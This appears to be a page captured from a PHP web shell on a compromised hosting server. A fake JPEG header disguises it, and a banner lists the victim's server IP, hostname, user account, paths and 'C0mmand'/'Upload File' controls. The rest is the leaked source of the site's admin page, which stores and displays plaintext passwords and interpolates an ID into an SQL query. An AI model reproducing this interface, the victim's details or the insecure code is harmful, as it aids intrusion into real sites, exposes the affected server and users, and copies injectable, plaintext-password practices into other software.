����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������
Server IP : 103.191.208.227 / Your IP : 3.145.2.6 Web Server : LiteSpeed System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64 User : mhmsfzcs ( 1485) PHP Version : 8.1.31 Disable Function : show_source, system, shell_exec, passthru, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/mhmsfzcs/vflyorions.com/.well-known/../../www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include 'db.php'; include "job/admin_header.php"; // $currentDate = date('Y/m/d'); // Get the current date in 'YYYY-MM-DD' format // $sql = "SELECT * FROM demo1 WHERE targetdate >= '$currentDate'"; // $result = $conn->query($sql); // if ($result->num_rows > 0) { // while ($row = $result->fetch_assoc()) { // Access data from the current row // $id = $row['id']; // $columnName = $row['targetdate']; // Perform actions with the data // echo "ID: $id, Date Column: $columnName <br>"; // } // } else { // echo "No records found."; // } $query1 = 'SELECT * FROM demo1 ORDER BY id ASC'; $result1 = $conn->query($query1); $sr=1; while ($row = $result1->fetch_assoc()) { $id=$row['id']; } $fetch = $conn->prepare("SELECT COUNT(*) AS count FROM demo1 where id='$id'"); $fetch->execute(); $res = $fetch->get_result(); $row = $res->fetch_assoc(); /* Count table rows */ $count = $row['count']; /* Check if button name "Submit" is active, do this */ if(isset($_POST['multiple_update'])) { $ids = $_POST['id']; //$sl_nos = $_POST['sl_no']; $usernames = $_POST['username']; $passwords = $_POST['password']; $stat_uss = $_POST['stat_us']; $permissions = $_POST['permission']; $targetdates = $_POST['targetdate']; //$statuss = $_POST['status']; for ($i = 0; $i < $count; $i++) { $id = $ids[$i]; //$sl_no = $sl_nos[$i]; $username = $usernames[$i]; $password = $passwords[$i]; $stat_us = $stat_uss[$i]; $permission = $permissions[$i]; $targetdate = $targetdates[$i]; //$status = $statuss[$i]; // Prepare the UPDATE statement with a WHERE clause // $user_id=2; //$img_id=110; $updateQuery = $conn->prepare("UPDATE `profile` SET username=?,password=?,stat_us=?,permission=?,targetdate=? WHERE `id` = ? "); $updateQuery->bind_param("sssssi", $username,$password,$stat_us,$permission,$targetdate,$id); $result = $updateQuery->execute(); } if ($result) { //echo "Record with ID updated successfully.<br>"; $_SESSION['status']="Data updated "; $_SESSION['status_code']="success"; } else { //echo "Error updating record with ID .<br>"; $_SESSION['status1']="Invalid username or password"; $_SESSION['status_code1']="error"; } } ?> <html> <head> <title>Update Multiple Mysql Data using Checkbox with Ajax in PHP</title> <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.0/jquery.min.js"></script> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" /> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script> </head> <body> <div class="container"> <br /> <div class="table-responsive"> <h3 align="center">Update Multiple Mysql Data using Checkbox with Ajax in PHP</h3><br /> <form method="post" id="update_for"> <div align="left"> <input type="submit" name="multiple_update" id="" onclick="return confirm('Are you sure to update data ?')" class="btn btn-info" value="Multiple Update" /> <a href="admin.php" class="btn btn-primary">Go-Back</a> </div> <br /> <div class="table-responsive"> <table class="table table-bordered table-striped"> <thead> <th width="5%"></th> <th width="20%">userName</th> <th width="30%">Password</th> <th width="15%">Stat_us</th> <th width="20%">Permission</th> <th width="10%">Targetdate</th> </thead> <tbody></tbody> </table> </div> </form> </div> </div> </body> </html> <script> $(document).ready(function(){ function fetch_data() { $.ajax({ url:"user_c_select.php", method:"POST", dataType:"json", success:function(data) { var html = ''; for(var count = 0; count < data.length; count++) { html += '<tr>'; html += '<td><input type="checkbox" id="'+data[count].id+'" data-username="'+data[count].username+'" data-password="'+data[count].password+'" data-stat_us="'+data[count].stat_us+'" data-permission="'+data[count].permission+'" data-targetdate="'+data[count].targetdate+'" class="check_box" /></td>'; html += '<td>'+data[count].username+'</td>'; html += '<td>'+data[count].password+'</td>'; html += '<td>'+data[count].stat_us+'</td>'; html += '<td>'+data[count].permission+'</td>'; html += '<td>'+data[count].targetdate+'</td></tr>'; } $('tbody').html(html); } }); } fetch_data(); $(document).on('click', '.check_box', function(){ var html = ''; if(this.checked) { html = '<td><input type="checkbox" id="'+$(this).attr('id')+'" data-username="'+$(this).data('username')+'" data-password="'+$(this).data('password')+'" data-stat_us="'+$(this).data('stat_us')+'" data-permission="'+$(this).data('permission')+'" data-targetdate="'+$(this).data('targetdate')+'" class="check_box" checked /></td>'; html += '<td><input type="text" name="username[]" class="form-control" value="'+$(this).data("username")+'" /></td>'; html += '<td><input type="text" name="password[]" class="form-control" value="'+$(this).data("password")+'" /></td>'; html += '<td><input type="text" name="stat_us[]" class="form-control" value="'+$(this).data("stat_us")+'" /></td>'; // html += '<td><select name="stat_us[]" id="gender_'+$(this).attr('id')+'" class="form-control"><option value="Male">Male</option><option value="Female">Female</option></select></td>'; html += '<td><input type="text" name="permission[]" class="form-control" value="'+$(this).data("permission")+'" /></td>'; html += '<td><input type="text" name="targetdate[]" class="form-control" value="'+$(this).data("targetdate")+'" /><input type="hidden" name="id[]" value="'+$(this).attr('id')+'" /></td>'; } else { html = '<td><input type="checkbox" id="'+$(this).attr('id')+'" data-username="'+$(this).data('username')+'" data-password="'+$(this).data('password')+'" data-stat_us="'+$(this).data('stat_us')+'" data-permission="'+$(this).data('permission')+'" data-targetdate="'+$(this).data('targetdate')+'" class="check_box" /></td>'; html += '<td>'+$(this).data('username')+'</td>'; html += '<td>'+$(this).data('password')+'</td>'; html += '<td>'+$(this).data('stat_us')+'</td>'; html += '<td>'+$(this).data('permission')+'</td>'; html += '<td>'+$(this).data('targetdate')+'</td>'; } $(this).closest('tr').html(html); //$('#gender_'+$(this).attr('id')+'').val($(this).data('gender')); }); $('#update_form').on('submit', function(event){ event.preventDefault(); if($('.check_box:checked').length > 0) { $.ajax({ url:"user_c_multiple.php", method:"POST", data:$(this).serialize(), success:function() { alert('Data Updated'); fetch_data(); } }) } }); }); </script> <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script> <?php if(isset($_SESSION['status']) && $_SESSION['status']!='') { ?> <script> new swal({ title: "<?php echo $_SESSION['status'];?>", //text: "You clicked the button!", icon: "<?php echo $_SESSION['status_code'];?>", button: "OK", }).then(function() { window.location = ""; }); </script> <?php unset($_SESSION['status']); } ?>